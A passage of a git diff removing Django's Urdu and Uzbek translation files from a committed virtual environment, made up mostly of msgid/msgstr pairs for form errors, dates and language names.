submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "ترتیب" - -msgid "Delete" -msgstr "مٹائیں" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "براہ کرم %(field)s کے لئے دوہرا مواد درست کریں۔" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"براہ کرم %(field)s کے لئے دوہرا مواد درست کریں جوکہ منفرد ھونا ضروری ھے۔" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"براہ کرم %(field_name)s میں دوہرا مواد درست کریں جو کہ %(date_field)s میں " -"%(lookup)s کے لئے منفرد ھونا ضروری ھے۔" - -msgid "Please correct the duplicate values below." -msgstr "براہ کرم نیچے دوہری قیمتیں (ویلیوز) درست کریں۔" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "درست انتخاب منتخب کریں۔ یہ انتخاب دستیاب انتخابات میں سے کوئی نہیں ھے۔" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "صاف کریں" - -msgid "Currently" -msgstr "فی الحال" - -msgid "Change" -msgstr "تبدیل کریں" - -msgid "Unknown" -msgstr "نامعلوم" - -msgid "Yes" -msgstr "ھاں" - -msgid "No" -msgstr "نھیں" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "ھاں،نہیں،ھوسکتاہے" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d بائٹ" -msgstr[1] "%(size)d بائٹس" - -#, python-format -msgid "%s KB" -msgstr "%s ک ۔ ب" - -#, python-format -msgid "%s MB" -msgstr "%s م ۔ ب" - -#, python-format -msgid "%s GB" -msgstr "%s ج ۔ ب" - -#, python-format -msgid "%s TB" -msgstr "%s ٹ ۔ ب" - -#, python-format -msgid "%s PB" -msgstr "%s پ ۔ پ" - -msgid "p.m." -msgstr "شام" - -msgid "a.m." -msgstr "صبح" - -msgid "PM" -msgstr "شام" - -msgid "AM" -msgstr "صبح" - -msgid "midnight" -msgstr "نصف رات" - -msgid "noon" -msgstr "دوپہر" - -msgid "Monday" -msgstr "سوموار" - -msgid "Tuesday" -msgstr "منگل" - -msgid "Wednesday" -msgstr "بدھ" - -msgid "Thursday" -msgstr "جمعرات" - -msgid "Friday" -msgstr "جمعہ" - -msgid "Saturday" -msgstr "ھفتہ" - -msgid "Sunday" -msgstr "اتوار" - -msgid "Mon" -msgstr "سوموار" - -msgid "Tue" -msgstr "منگل" - -msgid "Wed" -msgstr "بدھ" - -msgid "Thu" -msgstr "جمعرات" - -msgid "Fri" -msgstr "جمعہ" - -msgid "Sat" -msgstr "ھفتہ" - -msgid "Sun" -msgstr "اتوار" - -msgid "January" -msgstr "جنوری" - -msgid "February" -msgstr "فروری" - -msgid "March" -msgstr "مارچ" - -msgid "April" -msgstr "اپریل" - -msgid "May" -msgstr "مئی" - -msgid "June" -msgstr "جون" - -msgid "July" -msgstr "جولائی" - -msgid "August" -msgstr "اگست" - -msgid "September" -msgstr "ستمبر" - -msgid "October" -msgstr "اکتوبر" - -msgid "November" -msgstr "نومبر" - -msgid "December" -msgstr "دسمبر" - -msgid "jan" -msgstr "جنوری" - -msgid "feb" -msgstr "فروری" - -msgid "mar" -msgstr "مارچ" - -msgid "apr" -msgstr "اپریل" - -msgid "may" -msgstr "مئی" - -msgid "jun" -msgstr "جون" - -msgid "jul" -msgstr "جولائی" - -msgid "aug" -msgstr "اگست" - -msgid "sep" -msgstr "ستمبر" - -msgid "oct" -msgstr "اکتوبر" - -msgid "nov" -msgstr "نومبر" - -msgid "dec" -msgstr "دسمبر" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "جنوری" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "فروری" - -msgctxt "abbrev. month" -msgid "March" -msgstr "مارچ" - -msgctxt "abbrev. month" -msgid "April" -msgstr "اپریل" - -msgctxt "abbrev. month" -msgid "May" -msgstr "مئی" - -msgctxt "abbrev. month" -msgid "June" -msgstr "جون" - -msgctxt "abbrev. month" -msgid "July" -msgstr "جولائی" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "اگست" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "ستمبر" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "اکتوبر" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "نومبر" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "دسمبر" - -msgctxt "alt. month" -msgid "January" -msgstr "جنوری" - -msgctxt "alt. month" -msgid "February" -msgstr "فروری" - -msgctxt "alt. month" -msgid "March" -msgstr "مارچ" - -msgctxt "alt. month" -msgid "April" -msgstr "اپریل" - -msgctxt "alt. month" -msgid "May" -msgstr "مئی" - -msgctxt "alt. month" -msgid "June" -msgstr "جون" - -msgctxt "alt. month" -msgid "July" -msgstr "جولائی" - -msgctxt "alt. month" -msgid "August" -msgstr "اگست" - -msgctxt "alt. month" -msgid "September" -msgstr "ستمبر" - -msgctxt "alt. month" -msgid "October" -msgstr "اکتوبر" - -msgctxt "alt. month" -msgid "November" -msgstr "نومبر" - -msgctxt "alt. month" -msgid "December" -msgstr "دسمبر" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "یا" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "،" - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "0 minutes" -msgstr "" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "" - -msgid "No day specified" -msgstr "" - -msgid "No week specified" -msgstr "" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/uz/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/uz/LC_MESSAGES/django.mo deleted file mode 100644 index b003df83..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/uz/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/uz/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/uz/LC_MESSAGES/django.po deleted file mode 100644 index ad57ba91..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/uz/LC_MESSAGES/django.po +++ /dev/null @@ -1,1322 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Abdulaminkhon Khaydarov , 2020 -# Bedilbek Khamidov , 2019 -# Claude Paroz , 2020 -# Shukrullo Turgunov , 2023 -# Sukhrobbek Ismatov , 2019 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 11:41-0300\n" -"PO-Revision-Date: 2023-12-25 06:49+0000\n" -"Last-Translator: Shukrullo Turgunov , 2023\n" -"Language-Team: Uzbek (http://app.transifex.com/django/django/language/uz/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: uz\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "Afrika tili" - -msgid "Arabic" -msgstr "Arab tili" - -msgid "Algerian Arabic" -msgstr "Jazoir arab tili" - -msgid "Asturian" -msgstr "Asturiya tili" - -msgid "Azerbaijani" -msgstr "Ozarbayjon tili" - -msgid "Bulgarian" -msgstr "Bolgar tili" - -msgid "Belarusian" -msgstr "Belorus tili" - -msgid "Bengali" -msgstr "Bengal tili" - -msgid "Breton" -msgstr "Breton tili" - -msgid "Bosnian" -msgstr "Bosniya tili" - -msgid "Catalan" -msgstr "Katalon tili" - -msgid "Central Kurdish (Sorani)" -msgstr "" - -msgid "Czech" -msgstr "Chex tili" - -msgid "Welsh" -msgstr "Uels tili" - -msgid "Danish" -msgstr "Daniya tili" - -msgid "German" -msgstr "Nemis tili" - -msgid "Lower Sorbian" -msgstr "Quyi sorbiya tili" - -msgid "Greek" -msgstr "Yunon tili" - -msgid "English" -msgstr "Ingliz tili" - -msgid "Australian English" -msgstr "Avstraliya ingliz tili" - -msgid "British English" -msgstr "Britan Ingliz tili" - -msgid "Esperanto" -msgstr "Esperanto tili" - -msgid "Spanish" -msgstr "Ispan tili" - -msgid "Argentinian Spanish" -msgstr "Argentina Ispan tili" - -msgid "Colombian Spanish" -msgstr "Kolumbiya Ispan tili" - -msgid "Mexican Spanish" -msgstr "Meksika Ispan tili " - -msgid "Nicaraguan Spanish" -msgstr "Nikaragua Ispan tili" - -msgid "Venezuelan Spanish" -msgstr "Venesuela Ispan tili" - -msgid "Estonian" -msgstr "Estoniya tili" - -msgid "Basque" -msgstr "Bask tili" - -msgid "Persian" -msgstr "Fors tili" - -msgid "Finnish" -msgstr "Fin tili" - -msgid "French" -msgstr "Fransuz tili" - -msgid "Frisian" -msgstr "Friziya tili" - -msgid "Irish" -msgstr "Irland tili" - -msgid "Scottish Gaelic" -msgstr "Shotland Gal tili" - -msgid "Galician" -msgstr "Galisiya tili" - -msgid "Hebrew" -msgstr "Ibroniy tili" - -msgid "Hindi" -msgstr "Hind tili" - -msgid "Croatian" -msgstr "Xorvat tili" - -msgid "Upper Sorbian" -msgstr "Yuqori Sorbiya tili" - -msgid "Hungarian" -msgstr "Vengriya tili" - -msgid "Armenian" -msgstr "Arman tili" - -msgid "Interlingua" -msgstr "Interlingua tili" - -msgid "Indonesian" -msgstr "Indoneziya tili" - -msgid "Igbo" -msgstr "Igbo tili" - -msgid "Ido" -msgstr "Ido tili" - -msgid "Icelandic" -msgstr "Island tili" - -msgid "Italian" -msgstr "Italyan tili" - -msgid "Japanese" -msgstr "Yapon tili" - -msgid "Georgian" -msgstr "Gruzin tili" - -msgid "Kabyle" -msgstr "Kabil tili" - -msgid "Kazakh" -msgstr "Qozoq tili" - -msgid "Khmer" -msgstr "Xmer tili" - -msgid "Kannada" -msgstr "Kannada tili" - -msgid "Korean" -msgstr "Koreys tili" - -msgid "Kyrgyz" -msgstr "Qirg'iz tili" - -msgid "Luxembourgish" -msgstr "Lyuksemburg tili" - -msgid "Lithuanian" -msgstr "Litva tili" - -msgid "Latvian" -msgstr "Latviya tili" - -msgid "Macedonian" -msgstr "Makedoniya tili" - -msgid "Malayalam" -msgstr "Malayalam tili" - -msgid "Mongolian" -msgstr "Mo'g'ul tili" - -msgid "Marathi" -msgstr "Marati tili" - -msgid "Malay" -msgstr "" - -msgid "Burmese" -msgstr "Birma tili" - -msgid "Norwegian Bokmål" -msgstr "Norvegiya Bokmal tili" - -msgid "Nepali" -msgstr "Nepal tili" - -msgid "Dutch" -msgstr "Golland tili" - -msgid "Norwegian Nynorsk" -msgstr "Norvegiya Ninorsk tili" - -msgid "Ossetic" -msgstr "Osetik tili" - -msgid "Punjabi" -msgstr "Panjob tili" - -msgid "Polish" -msgstr "Polyak tili" - -msgid "Portuguese" -msgstr "Portugal tili" - -msgid "Brazilian Portuguese" -msgstr "Braziliya Portugal tili" - -msgid "Romanian" -msgstr "Rumin tili" - -msgid "Russian" -msgstr "Rus tili" - -msgid "Slovak" -msgstr "Slovak tili" - -msgid "Slovenian" -msgstr "Slovan tili" - -msgid "Albanian" -msgstr "Alban tili" - -msgid "Serbian" -msgstr "Serb tili" - -msgid "Serbian Latin" -msgstr "Serbiya Lotin tili" - -msgid "Swedish" -msgstr "Shved tili" - -msgid "Swahili" -msgstr "Suaxili tili" - -msgid "Tamil" -msgstr "Tamil tili" - -msgid "Telugu" -msgstr "Telugu tili" - -msgid "Tajik" -msgstr "Tojik tili" - -msgid "Thai" -msgstr "Tay tili" - -msgid "Turkmen" -msgstr "Turkman tili" - -msgid "Turkish" -msgstr "Turk tili" - -msgid "Tatar" -msgstr "Tatar tili" - -msgid "Udmurt" -msgstr "Udmurt tili" - -msgid "Uyghur" -msgstr "" - -msgid "Ukrainian" -msgstr "Ukrain tili" - -msgid "Urdu" -msgstr "Urdu tili" - -msgid "Uzbek" -msgstr "O'zbek tili" - -msgid "Vietnamese" -msgstr "Vetnam tili" - -msgid "Simplified Chinese" -msgstr "Soddalashtirilgan xitoy tili" - -msgid "Traditional Chinese" -msgstr "An'anaviy xitoy tili" - -msgid "Messages" -msgstr "Xabarlar" - -msgid "Site Maps" -msgstr "Sayt xaritalari" - -msgid "Static Files" -msgstr "Statik fayllar" - -msgid "Syndication" -msgstr "Sindikatsiya" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "" - -msgid "That page number is not an integer" -msgstr "Bu sahifa raqami butun son emas" - -msgid "That page number is less than 1" -msgstr "Bu sahifa raqami 1 dan kichik" - -msgid "That page contains no results" -msgstr "Ushbu sahifada hech qanday natija yo'q" - -msgid "Enter a valid value." -msgstr "To'g'ri qiymatni kiriting." - -msgid "Enter a valid URL." -msgstr "To'g'ri URL manzilini kiriting." - -msgid "Enter a valid integer." -msgstr "To'g'ri butun sonni kiriting." - -msgid "Enter a valid email address." -msgstr "To'g'ri elektron pochta manzilini kiriting." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Harflar, raqamlar, pastki chiziqlar yoki chiziqlardan iborat to'g'ri " -"\"slug\" ni kiriting." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Unicode harflari, raqamlari, pastki chiziqlari yoki chiziqlardan iborat " -"to'g'ri \"slug\" ni kiriting." - -msgid "Enter a valid IPv4 address." -msgstr "To'g'ri IPv4 manzilini kiriting." - -msgid "Enter a valid IPv6 address." -msgstr "To'g'ri IPv6 manzilini kiriting." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "To'g'ri IPv4 yoki IPv6 manzilini kiriting." - -msgid "Enter only digits separated by commas." -msgstr "Faqat vergul bilan ajratilgan raqamlarni kiriting." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Ushbu qiymat %(limit_value)s ekanligiga ishonch hosil qiling (Hozir u " -"%(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"Ushbu qiymat %(limit_value)s dan kichik yoki unga teng ekanligini tekshiring." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Ushbu qiymat %(limit_value)s dan katta yoki unga teng ekanligini tekshiring." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Ushbu qiymat kamida %(limit_value)dga ega ekanligiga ishonch hosil qiling " -"(unda bor %(show_value)d)" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Ushbu qiymat eng ko'pi bilan %(limit_value)d ta belgidan iboratligiga " -"ishonch hosil qiling (hozir, %(show_value)d tadan iborat)." - -msgid "Enter a number." -msgstr "Raqamni kiriting." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -"Umumiy raqamlar soni %(max)s tadan ko'p bo'lmasligiga ishonch hosil qiling." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -"O'nlik kasr xonalari %(max)s tadan ko'p bo'lmasligiga ishonch hosil qiling." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"O'nli kasr nuqtasidan oldin %(max)s tadan ko'p raqam bo'lmasligiga ishonch " -"hosil qiling." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"\"%(extension)s\" fayl kengaytmasiga ruxsat berilmagan Ruxsat berilgan " -"kengaytmalar: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Bo'shliq belgilaridan foydalanish mumkin emas." - -msgid "and" -msgstr "va" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(field_labels)s bilan %(model_name)s allaqachon mavjud." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "%(value)r qiymati to'g'ri tanlov emas." - -msgid "This field cannot be null." -msgstr "Bu maydon bo‘shliq belgisidan iborat bo'lishi mumkin emas." - -msgid "This field cannot be blank." -msgstr "Bu maydon bo‘sh bo‘lishi mumkin emas." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "\"%(field_label)s\" %(model_name)s allaqachon mavjud." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s %(date_field_label)s %(lookup_type)s uchun noyob bo'lishi " -"kerak." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Maydon turi: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "\"%(value)s\" qiymati rost yoki yolg'on bo'lishi kerak." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" -"\"%(value)s\" qiymati Rost, Yolg'on yoki Bo'shliq belgisidan iborat bo'lishi " -"kerak." - -msgid "Boolean (Either True or False)" -msgstr "Mantiqiy (Rost yoki Yolg'on)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Birikma uzunligi (%(max_length)s gacha)" - -msgid "String (unlimited)" -msgstr "" - -msgid "Comma-separated integers" -msgstr "Vergul bilan ajratilgan butun sonlar" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"\"%(value)s\" qiymati yaroqsiz sana formatiga ega. U YYYY-MM-DD formatida " -"bo'lishi kerak." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"\"%(value)s\" qiymati to'g'ri formatga (YYYY-MM-DD) ega, ammo bu noto'g'ri " -"sana." - -msgid "Date (without time)" -msgstr "Sana (vaqtsiz)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"\"%(value)s\" qiymati noto'g'ri formatga ega. U YYYY-MM-DD HH: MM [: ss [." -"uuuuuu]] [TZ] formatida bo'lishi kerak." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"\"%(value)s\" qiymati to'g'ri formatga ega (YYYY-MM-DD HH: MM [: ss [." -"uuuuuu]] [TZ]), lekin u noto'g'ri sana / vaqt." - -msgid "Date (with time)" -msgstr "Sana (vaqt bilan)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "\"%(value)s\" qiymati o'nlik kasr sonlardan iborat bo'lishi kerak." - -msgid "Decimal number" -msgstr "O'nli kasr son" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"\"%(value)s\" qiymati noto'g'ri formatga ega. U [DD] [[HH:] MM:] ss [." -"uuuuuu] formatida bo'lishi kerak." - -msgid "Duration" -msgstr "Davomiyligi" - -msgid "Email address" -msgstr "Elektron pochta manzili" - -msgid "File path" -msgstr "Fayl manzili" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "\"%(value)s\" qiymati haqiqiy son bo'lishi kerak." - -msgid "Floating point number" -msgstr "Haqiqiy son" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "\"%(value)s\" qiymati butun son bo'lishi kerak." - -msgid "Integer" -msgstr "Butun son" - -msgid "Big (8 byte) integer" -msgstr "Katta (8 bayt) butun son" - -msgid "Small integer" -msgstr "Kichik butun son" - -msgid "IPv4 address" -msgstr "IPv4 manzili" - -msgid "IP address" -msgstr "IP manzili" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "\"%(value)s\" qiymati Yo‘q, To‘g‘ri yoki Noto'g'ri bo'lishi kerak." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (To'g'ri, Yolg'on yoki Hech biri)" - -msgid "Positive big integer" -msgstr "Musbat katta butun son" - -msgid "Positive integer" -msgstr "Ijobiy butun son" - -msgid "Positive small integer" -msgstr "Musbat kichik butun son" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug uzunligi (%(max_length)s gacha)" - -msgid "Text" -msgstr "Matn" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"\"%(value)s\" qiymati noto'g'ri formatga ega. U HH: MM [: ss [.uuuuuu]] " -"formatida bo'lishi kerak." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"\"%(value)s\" qiymati to'g'ri formatga ega (HH: MM [: ss [.uuuuuu]]), lekin " -"bu noto'g'ri vaqt." - -msgid "Time" -msgstr "Vaqt" - -msgid "URL" -msgstr "URL manzili" - -msgid "Raw binary data" -msgstr "Tartibsiz Ikkilik ma'lumotlar" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "\"%(value)s\" to'g'ri UUID emas." - -msgid "Universally unique identifier" -msgstr "Umum noyob aniqlovchi" - -msgid "File" -msgstr "Fayl" - -msgid "Image" -msgstr "Rasm" - -msgid "A JSON object" -msgstr "JSON ob'ekti" - -msgid "Value must be valid JSON." -msgstr "Qiymat yaroqli JSON bo'lishi kerak." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(field)s %(value)r lari bilan %(model)s namunasi uchun mavjud emas." - -msgid "Foreign Key (type determined by related field)" -msgstr "Tashqi kalit (turi aloqador maydon tomonidan belgilanadi)" - -msgid "One-to-one relationship" -msgstr "Birga-bir yago munosabat" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s -%(to)s gacha bo'lgan munosabat" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s -%(to)s gacha bo'lgan munosabatlar" - -msgid "Many-to-many relationship" -msgstr "Ko'pchilikka-ko'pchilik munosabatlar" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Ushbu maydon to'ldirilishi shart." - -msgid "Enter a whole number." -msgstr "Butun raqamni kiriting." - -msgid "Enter a valid date." -msgstr "Sanani to‘g‘ri kiriting." - -msgid "Enter a valid time." -msgstr "Vaqtni to‘g‘ri kiriting." - -msgid "Enter a valid date/time." -msgstr "Sana/vaqtni to‘g‘ri kiriting." - -msgid "Enter a valid duration." -msgstr "Muddatni to'g'ri kiriting." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Kunlar soni {min_days} va {max_days} orasida bo'lishi kerak." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Hech qanday fayl yuborilmadi. Formadagi kodlash turini tekshiring." - -msgid "No file was submitted." -msgstr "Hech qanday fayl yuborilmadi." - -msgid "The submitted file is empty." -msgstr "Yuborilgan etilgan fayl bo'sh." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Fayl nomi maksimum %(max)d belgilardan ko'p emasligiga ishonch hosil qiling " -"(hozir %(length)d belgi ishlatilgan)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Iltimos, faylni yuboring yoki katachani belgilang, lekin ikkalasinimas." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"To'g'ri rasmni yuklang. Siz yuklagan fayl yoki rasm emas yoki buzilgan rasm " -"edi." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "To'g'ri tanlovni tanlang. %(value)s mavjud tanlovlardan biri emas." - -msgid "Enter a list of values." -msgstr "Qiymatlar ro'yxatini kiriting." - -msgid "Enter a complete value." -msgstr "To'liq qiymatni kiriting." - -msgid "Enter a valid UUID." -msgstr "To'g'ri UUID kiriting." - -msgid "Enter a valid JSON." -msgstr "Yaroqli JSONni kiriting." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Yashirilgan maydon %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "" - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "" - -msgid "Order" -msgstr "Buyurtma" - -msgid "Delete" -msgstr "Yo'q qilish" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Iltimos, %(field)s uchun takroriy ma'lumotni tuzating." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Iltimos, noyob bo'lishi kerak bo'lgan %(field)s uchun takroriy ma'lumotlarni " -"to'g'rilang." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Iltimos, %(field_name)s uchun takroriy ma'lumotlarni %(date_field)s ga noyob " -"bo'la oladigan %(lookup)s ichidagi ma'lumotlarni moslab to'g'rilang." - -msgid "Please correct the duplicate values below." -msgstr "Iltimos, quyidagi takroriy qiymatlarni to'g'irlang." - -msgid "The inline value did not match the parent instance." -msgstr 